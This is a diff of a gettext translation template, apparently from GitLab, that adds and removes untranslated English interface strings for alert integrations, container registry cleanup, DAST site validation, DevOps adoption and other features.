+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
